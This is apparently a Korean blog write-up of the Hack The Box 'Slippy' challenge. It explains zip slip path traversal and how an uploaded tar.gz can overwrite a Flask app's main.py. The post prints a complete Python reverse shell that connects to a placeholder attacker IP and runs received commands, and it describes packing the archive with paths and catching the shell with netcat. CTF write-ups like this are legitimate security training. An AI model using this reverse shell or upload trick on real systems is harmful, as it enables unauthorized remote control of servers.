반응형
※ 문제 출처: https://app.hackthebox.com/challenges/slippy
zip slip attack 문제입니다. zip slip attack은 압축파일명에 ../../ 와 같은 path traversal 문구를 포함하여 압축 해제시 압축파일이 상위 디렉터리에 풀리도록 하는 공격 기법입니다.(출처: https://github.com/snyk/zip-slip-vulnerability)
2018년에 많은 CVE가 등록되었군요.
문제로 들어가서, tar.gz 파일을 업로드하면 압축을 해제하여 보여주고 있습니다.(test2.html을 압축한 test.tar.gz 파일을 업로드하였습니다.)
![](https://blog.kakaocdn.net/dn/XPfC0/btrpeJnv6Ji/eNItQ4tXTKfFeQqrkjMev1/img.png)
![](https://blog.kakaocdn.net/dn/XPfC0/btrpeJnv6Ji/eNItQ4tXTKfFeQqrkjMev1/img.png)
압축해제된 파일은 "/app/application/static/archives/<랜덤문자열>/" 경로에 저장되고 있습니다.
![](https://blog.kakaocdn.net/dn/6unvL/btrpcPodMbz/FrVxIEiGYfU4KyMdD7eMO0/img.png)
첨부된 파일을 다운로드하여 살펴보면 플라스크 웹서버 구동 시 "/app/application/main.py" 파일이 실행되는 구조입니다.
따라서, main.py 파일을 reverse shell 파일로 바꿔치기하면 서버에 접근이 가능할 것 같습니다.
https://github.com/Lojacops/RevShell 에 간단한 파이썬 리버스쉘 코드가 있습니다. 이를 참고하여 main.py 파일을 만듭니다.
import socket
import os
import subprocess
target = '<attacker IP>'
targetport = <attacker port>
host = target
port = targetport
sep = "<->"
def main():
try:
s = socket.socket()
s.connect((host, port))
print("client on! Now, get manipulated!")
cwd = os.getcwd()
s.send(cwd.encode())
while True:
option = s.recv(1024).decode()
splited_command = option.split()
if option.lower() == "exit":
break
if splited_command[0].lower() == "cd":
try:
os.chdir(' '.join(splited_command[1:]))
except FileNotFoundError as e:
output = str(e)
else:
output = ""
else:
output = subprocess.getoutput(option)
cwd = os.getcwd()
message = f"{output}{sep}{cwd}"
s.send(message.encode())
s.close()
except TimeoutError:
print("ERROR: unable to establish a connection.")
main()
이제 경로를 포함하여 .tar.gz 파일을 만듭니다. P 옵션을 사용하면 경로를 포함하여 압축할 수 있습니다.(man tar 참고)
칼리에서 netcat 서버 구동(라우터 포트포워딩 설정 필요) 해주고, 리버스쉘이 포함된 .tar.gz 파일 업로드하면 리버스쉘이 연결되어 플래그 획득이 가능합니다.
반응형
'Information Security > General Technique' 카테고리의 다른 글
Mitmproxy Websocket Match and Replace (0) | 2023.07.15 |
---|---|
DRM 우회 (0) | 2021.12.18 |
로그4쉘(Log4Shell), CVE-2021-44228 (4) | 2021.12.12 |
Burp TCP Proxy(TCP 패킷 캡쳐) using NoPE Proxy (8) | 2021.05.09 |
프록시를 통한 파일 다운로드(How to Download File Using Proxy Tool) (0) | 2020.12.16 |